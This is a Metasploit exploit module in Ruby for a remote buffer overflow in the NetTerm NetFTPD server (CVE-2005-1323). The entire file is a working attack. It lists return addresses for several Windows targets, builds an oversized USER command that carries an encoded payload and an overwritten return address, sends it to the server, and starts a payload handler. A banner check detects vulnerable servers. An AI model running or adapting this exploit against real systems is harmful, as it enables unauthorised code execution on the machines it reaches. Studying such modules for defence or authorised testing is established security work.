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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'NetTerm NetFTPD USER Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a vulnerability in the NetTerm NetFTPD
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        application. This package is part of the NetTerm package.
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        This module uses the USER command to trigger the overflow.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-1323'],
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          [ 'OSVDB', '15865'],
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          [ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
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          [ 'BID', '13396'],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Space'    => 1000,
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          'BadChars' => "\x00\x0a\x20\x0d",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => [ 'win' ],
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      'Targets'        =>
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        [
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          [
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            'NetTerm NetFTPD Universal',  # Tested OK - hdm 11/24/2005
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            {
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              'Ret'      => 0x0040df98, # netftpd.exe (multiple versions)
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            },
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          ],
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          [
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            'Windows 2000 English',
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            {
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              'Ret'      => 0x75022ac4, # ws2help.dll
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            },
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          ],
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          [
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            'Windows XP English SP0/SP1',
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            {
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              'Ret'      => 0x71aa32ad, # ws2help.dll
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            },
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          ],
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          [
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            'Windows 2003 English',
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            {
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              'Ret'      => 0x7ffc0638, # peb magic :-)
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            },
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          ],
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          [
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            'Windows NT 4.0 SP4/SP5/SP6',
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            {
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              'Ret'      => 0x77681799, # ws2help.dll
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            },
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          ],
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        ],
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      'DisclosureDate' => '2005-04-26',
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      'DefaultTarget' => 0))
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  end
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  def check
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    connect
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    disconnect
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    if (banner =~ /NetTerm FTP server/)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    # U          push ebp
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    # S          push ebx
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    # E          inc ebp
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    # R          push edx
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    # \x20\xC0   and al, al
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    buf          = rand_text_english(8192, payload_badchars)
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    buf[0, 1]    = "\xc0"
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    buf[1, payload.encoded.length] = payload.encoded
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    buf[1014, 4] = [ target.ret ].pack('V')
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    send_cmd( ["USER #{buf}"] )
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    send_cmd( ['HELP'] )
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    handler
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    disconnect
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  end
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end
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